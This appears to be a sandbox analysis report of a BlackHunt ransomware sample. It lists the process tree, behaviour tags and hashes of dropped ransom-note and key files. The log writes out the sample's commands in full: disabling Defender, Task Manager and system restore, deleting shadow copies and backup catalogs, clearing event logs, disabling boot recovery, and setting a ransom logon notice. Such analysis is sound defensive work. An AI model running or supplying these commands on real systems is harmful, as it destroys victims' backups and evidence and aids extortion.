                                                    2⤵
                                                      PID:2388
                                                    • C:\Windows\System32\cmd.exe
                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
                                                      2⤵
                                                        PID:2068
                                                      • C:\Windows\System32\cmd.exe
                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
                                                        2⤵
                                                          PID:5064
                                                        • C:\Windows\System32\cmd.exe
                                                          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
                                                          2⤵
                                                          • Suspicious use of WriteProcessMemory
                                                          PID:3484
                                                        • C:\Windows\System32\cmd.exe
                                                          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
                                                          2⤵
                                                            PID:3284
                                                          • C:\Windows\System32\cmd.exe
                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
                                                            2⤵
                                                              PID:3164
                                                            • C:\Windows\System32\cmd.exe
                                                              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
                                                              2⤵
                                                              • Suspicious use of WriteProcessMemory
                                                              PID:1128
                                                              • C:\Windows\system32\reg.exe
                                                                reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
                                                                3⤵
                                                                • Modifies registry class
                                                                PID:1616
                                                            • C:\Windows\System32\cmd.exe
                                                              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
                                                              2⤵
                                                                PID:3912
                                                              • C:\Windows\System32\cmd.exe
                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
                                                                2⤵
                                                                  PID:3812
                                                                • C:\Windows\System32\cmd.exe
                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
                                                                  2⤵
                                                                    PID:1812
                                                                  • C:\Windows\System32\cmd.exe
                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                                                    2⤵
                                                                      PID:2056
                                                                    • C:\Windows\System32\cmd.exe
                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
                                                                      2⤵
                                                                        PID:3232
                                                                      • C:\Windows\System32\cmd.exe
                                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
                                                                        2⤵
                                                                          PID:4508
                                                                        • C:\Windows\System32\cmd.exe
                                                                          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
                                                                          2⤵
                                                                            PID:4808
                                                                          • C:\Windows\System32\cmd.exe
                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
                                                                            2⤵
                                                                            • Suspicious use of WriteProcessMemory
                                                                            PID:4308
                                                                          • C:\Windows\System32\cmd.exe
                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
                                                                            2⤵
                                                                            • Suspicious use of WriteProcessMemory
                                                                            PID:4932
                                                                          • C:\Windows\System32\cmd.exe
                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
                                                                            2⤵
                                                                            • Suspicious use of WriteProcessMemory
                                                                            PID:2648
                                                                          • C:\Windows\System32\cmd.exe
                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
                                                                            2⤵
                                                                            • Suspicious use of WriteProcessMemory
                                                                            PID:4828
                                                                          • C:\Windows\System32\cmd.exe
                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
                                                                            2⤵
                                                                            • Suspicious use of WriteProcessMemory
                                                                            PID:3880
                                                                          • C:\Windows\System32\cmd.exe
                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
                                                                            2⤵
                                                                            • Suspicious use of WriteProcessMemory
                                                                            PID:4988
                                                                          • C:\Windows\System32\cmd.exe
                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
                                                                            2⤵
                                                                            • Suspicious use of WriteProcessMemory
                                                                            PID:2960
                                                                          • C:\Windows\System32\cmd.exe
                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
                                                                            2⤵
                                                                            • Suspicious use of WriteProcessMemory
                                                                            PID:4868
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\0732a28ff29c8b0bc2a6a96f81c7d09878e5e74005f9efd0525dfc5b42991435.exe"
                                                                            2⤵
                                                                              PID:14072
                                                                            • C:\Windows\System32\cmd.exe
                                                                              "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
                                                                              2⤵
                                                                              • Checks computer location settings
                                                                              • Modifies registry class
                                                                              PID:14000
                                                                            • C:\Windows\System32\cmd.exe
                                                                              "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
                                                                              2⤵
                                                                                PID:13928
                                                                              • C:\Windows\System32\cmd.exe
                                                                                "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
                                                                                2⤵
                                                                                  PID:13896
                                                                                • C:\Windows\System32\cmd.exe
                                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
                                                                                  2⤵
                                                                                    PID:13840
                                                                                  • C:\Windows\System32\cmd.exe
                                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
                                                                                    2⤵
                                                                                      PID:13704
                                                                                    • C:\Windows\System32\cmd.exe
                                                                                      "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
                                                                                      2⤵
                                                                                        PID:13680
                                                                                      • C:\Windows\System32\cmd.exe
                                                                                        "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
                                                                                        2⤵
                                                                                          PID:13624
                                                                                        • C:\Windows\System32\cmd.exe
                                                                                          "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
                                                                                          2⤵
                                                                                            PID:13524
                                                                                          • C:\Windows\System32\cmd.exe
                                                                                            "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                            2⤵
                                                                                              PID:12176
                                                                                            • C:\Windows\System32\cmd.exe
                                                                                              "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
                                                                                              2⤵
                                                                                                PID:10228
                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
                                                                                                2⤵
                                                                                                  PID:12312
                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                  2⤵
                                                                                                    PID:12332
                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                    "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
                                                                                                    2⤵
                                                                                                      PID:12352
                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                      "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
                                                                                                      2⤵
                                                                                                        PID:10544
                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                        "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
                                                                                                        2⤵
                                                                                                          PID:12820
                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                          "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
                                                                                                          2⤵
                                                                                                            PID:12780
                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                            "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
                                                                                                            2⤵
                                                                                                              PID:12716
                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                              "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
                                                                                                              2⤵
                                                                                                                PID:9016
                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
                                                                                                                2⤵
                                                                                                                  PID:6992
                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
                                                                                                                  2⤵
                                                                                                                    PID:12596
                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                    "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
                                                                                                                    2⤵
                                                                                                                      PID:12640
                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                      "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
                                                                                                                      2⤵
                                                                                                                        PID:12668
                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                      reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
                                                                                                                      1⤵
                                                                                                                        PID:2068
                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                          reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
                                                                                                                          2⤵
                                                                                                                            PID:2736
                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                          reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
                                                                                                                          1⤵
                                                                                                                            PID:1644
                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                            reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
                                                                                                                            1⤵
                                                                                                                              PID:2388
                                                                                                                              • C:\Windows\system32\vssadmin.exe
                                                                                                                                vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
                                                                                                                                2⤵
                                                                                                                                • Interacts with shadow copies
                                                                                                                                PID:3228
                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                              reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
                                                                                                                              1⤵
                                                                                                                                PID:1012
                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
                                                                                                                                1⤵
                                                                                                                                  PID:4076
                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                  reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
                                                                                                                                  1⤵
                                                                                                                                    PID:2580
                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
                                                                                                                                    1⤵
                                                                                                                                      PID:4100
                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                      reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
                                                                                                                                      1⤵
                                                                                                                                        PID:4448
                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                        reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
                                                                                                                                        1⤵
                                                                                                                                          PID:1012
                                                                                                                                        • C:\Windows\system32\vssadmin.exe
                                                                                                                                          vssadmin.exe Delete Shadows /all /quiet
                                                                                                                                          1⤵
                                                                                                                                          • Interacts with shadow copies
                                                                                                                                          PID:4960
                                                                                                                                        • C:\Windows\system32\bcdedit.exe
                                                                                                                                          bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                                                          1⤵
                                                                                                                                          • Modifies boot configuration data using bcdedit
                                                                                                                                          PID:1832
                                                                                                                                        • C:\Windows\system32\vssvc.exe
                                                                                                                                          C:\Windows\system32\vssvc.exe
                                                                                                                                          1⤵
                                                                                                                                            PID:2912
                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                            reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
                                                                                                                                            1⤵
                                                                                                                                              PID:232
                                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                                              reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
                                                                                                                                              1⤵
                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                              PID:2912
                                                                                                                                            • C:\Windows\system32\wbengine.exe
                                                                                                                                              "C:\Windows\system32\wbengine.exe"
                                                                                                                                              1⤵
                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                              PID:7532
                                                                                                                                            • C:\Windows\System32\vdsldr.exe
                                                                                                                                              C:\Windows\System32\vdsldr.exe -Embedding
                                                                                                                                              1⤵
                                                                                                                                                PID:6984
                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                                                                                                                                1⤵
                                                                                                                                                  PID:964
                                                                                                                                                • C:\Windows\System32\vds.exe
                                                                                                                                                  C:\Windows\System32\vds.exe
                                                                                                                                                  1⤵
                                                                                                                                                  • Checks SCSI registry key(s)
                                                                                                                                                  PID:9948
                                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                                  reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
                                                                                                                                                  1⤵
                                                                                                                                                    PID:1448
                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
                                                                                                                                                    1⤵
                                                                                                                                                      PID:228
                                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                                      reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
                                                                                                                                                      1⤵
                                                                                                                                                      • Modifies Windows Defender Real-time Protection settings
                                                                                                                                                      PID:2984
                                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                                      reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
                                                                                                                                                      1⤵
                                                                                                                                                      • Modifies registry class
                                                                                                                                                      PID:1328
                                                                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
                                                                                                                                                      1⤵
                                                                                                                                                        PID:228
                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                        wevtutil.exe cl System
                                                                                                                                                        1⤵
                                                                                                                                                        • Clears Windows event logs
                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                        PID:13336
                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                        wevtutil.exe cl Security /e:false
                                                                                                                                                        1⤵
                                                                                                                                                        • Clears Windows event logs
                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                        PID:13584
                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                        wevtutil.exe cl Security
                                                                                                                                                        1⤵
                                                                                                                                                        • Clears Windows event logs
                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                        PID:2448
                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                        REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
                                                                                                                                                        1⤵
                                                                                                                                                          PID:14244
                                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                                          REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
                                                                                                                                                          1⤵
                                                                                                                                                            PID:6444
                                                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                                                            SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
                                                                                                                                                            1⤵
                                                                                                                                                              PID:7564
                                                                                                                                                            • C:\Windows\system32\notepad.exe
                                                                                                                                                              notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
                                                                                                                                                              1⤵
                                                                                                                                                                PID:9488
                                                                                                                                                              • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
                                                                                                                                                                1⤵
                                                                                                                                                                  PID:5148
                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 5148 -s 1460
                                                                                                                                                                    2⤵
                                                                                                                                                                    • Program crash
                                                                                                                                                                    PID:8456
                                                                                                                                                                • C:\Windows\system32\taskkill.exe
                                                                                                                                                                  taskkill /IM mshta.exe /f
                                                                                                                                                                  1⤵
                                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                  PID:8600
                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 5148 -ip 5148
                                                                                                                                                                  1⤵
                                                                                                                                                                    PID:6636
                                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                                    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
                                                                                                                                                                    1⤵
                                                                                                                                                                      PID:2688
                                                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                                                      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
                                                                                                                                                                      1⤵
                                                                                                                                                                        PID:7268
                                                                                                                                                                      • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                                        ping 127.0.0.1 -n 5
                                                                                                                                                                        1⤵
                                                                                                                                                                        • Runs ping.exe
                                                                                                                                                                        PID:11132
                                                                                                                                                                      • C:\Windows\system32\wbadmin.exe
                                                                                                                                                                        wbadmin.exe delete catalog -quiet
                                                                                                                                                                        1⤵
                                                                                                                                                                        • Deletes backup catalog
                                                                                                                                                                        PID:14280
                                                                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                                                                        schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                                                                                        1⤵
                                                                                                                                                                          PID:14260
                                                                                                                                                                        • C:\Windows\system32\fsutil.exe
                                                                                                                                                                          fsutil.exe usn deletejournal /D C:
                                                                                                                                                                          1⤵
                                                                                                                                                                          • Deletes NTFS Change Journal
                                                                                                                                                                          PID:14056
                                                                                                                                                                        • C:\Windows\system32\bcdedit.exe
                                                                                                                                                                          bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                                                                                          1⤵
                                                                                                                                                                          • Modifies boot configuration data using bcdedit
                                                                                                                                                                          PID:14040
                                                                                                                                                                        • C:\Windows\system32\bcdedit.exe
                                                                                                                                                                          bcdedit /set {default} recoveryenabled No
                                                                                                                                                                          1⤵
                                                                                                                                                                          • Modifies boot configuration data using bcdedit
                                                                                                                                                                          PID:13764
                                                                                                                                                                        • C:\Windows\system32\vssadmin.exe
                                                                                                                                                                          vssadmin.exe Delete Shadows /all /quiet
                                                                                                                                                                          1⤵
                                                                                                                                                                          • Interacts with shadow copies
                                                                                                                                                                          PID:13748
                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                          wevtutil.exe cl Application
                                                                                                                                                                          1⤵
                                                                                                                                                                          • Clears Windows event logs
                                                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                          PID:13604
                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                          wevtutil.exe cl Setup
                                                                                                                                                                          1⤵
                                                                                                                                                                          • Clears Windows event logs
                                                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                          PID:9172
                                                                                                                                                                        • C:\Windows\system32\fsutil.exe
                                                                                                                                                                          fsutil usn deletejournal /D M:\
                                                                                                                                                                          1⤵
                                                                                                                                                                          • Enumerates connected drives
                                                                                                                                                                          PID:5644
                                                                                                                                                                        • C:\Windows\system32\fsutil.exe
                                                                                                                                                                          fsutil usn deletejournal /D C:\
                                                                                                                                                                          1⤵
                                                                                                                                                                            PID:8236
                                                                                                                                                                          • C:\Windows\system32\fsutil.exe
                                                                                                                                                                            fsutil usn deletejournal /D F:\
                                                                                                                                                                            1⤵
                                                                                                                                                                            • Enumerates connected drives
                                                                                                                                                                            PID:12520

                                                                                                                                                                          Network

                                                                                                                                                                          MITRE ATT&CK Enterprise v15

                                                                                                                                                                          Replay Monitor

                                                                                                                                                                          Loading Replay Monitor...

                                                                                                                                                                          Downloads

                                                                                                                                                                          • C:\ProgramData\#BlackHunt_ReadMe.hta

                                                                                                                                                                            Filesize

                                                                                                                                                                            12KB

                                                                                                                                                                            MD5

                                                                                                                                                                            4e1a2798ddabb0d6c8b5aee3f314fe21

                                                                                                                                                                            SHA1

                                                                                                                                                                            29f543939c16c1f0adaa2f633d05bb2eadf66fb3

                                                                                                                                                                            SHA256

                                                                                                                                                                            2f9d6d3828423386053d0a2ce48b2c5af46af7b2943c57022f1eff07675728a4

                                                                                                                                                                            SHA512

                                                                                                                                                                            b4433978575c2d35ae01adca272de977dee0e1ee8e44023efcdd9ed3a1875b29e6c6510fd07416ed9b7353d429eb060e733b4200ece1176b6dd0c1d1e8ad5148

                                                                                                                                                                          • C:\ProgramData\#BlackHunt_ReadMe.txt

                                                                                                                                                                            Filesize

                                                                                                                                                                            684B

                                                                                                                                                                            MD5

                                                                                                                                                                            26fb1882392cabf5227dbf2d8f1fa529

                                                                                                                                                                            SHA1

                                                                                                                                                                            7b593c8e32b71d5eb026e7c953ad98362004e120

                                                                                                                                                                            SHA256

                                                                                                                                                                            3b9e70336e5b5305d753b4bad9abcf4cc4a57c44dc99a909d94769d21e403c6f

                                                                                                                                                                            SHA512

                                                                                                                                                                            34afa00189d78e57077c343daae4fc491ada6ff6077f9fe0e7590ea79edde1a8b77b0d2e2e1f4369bb12bd77677b6749bd962948b23cc26ff42114e6093c61f5

                                                                                                                                                                          • F:\#BlackHunt_Private.key

                                                                                                                                                                            Filesize

                                                                                                                                                                            1KB

                                                                                                                                                                            MD5

                                                                                                                                                                            01c8fb3cc9feb243b2b3b176aad36cd0

                                                                                                                                                                            SHA1

                                                                                                                                                                            e02bb19f99813bd275858b280afac383aa92f7fb

                                                                                                                                                                            SHA256

                                                                                                                                                                            e0f2c9930ccf81bc3f18aa505fbdd4c9314bf836a7cce384efda8b70cae715f4

                                                                                                                                                                            SHA512

                                                                                                                                                                            7078a8ad6919432444b205456db2f4c2223768cad051c5636ee91f6a407471cd934bab615f369b1ac315ce1e365a4c7548c261586a0100327f96c507841b9995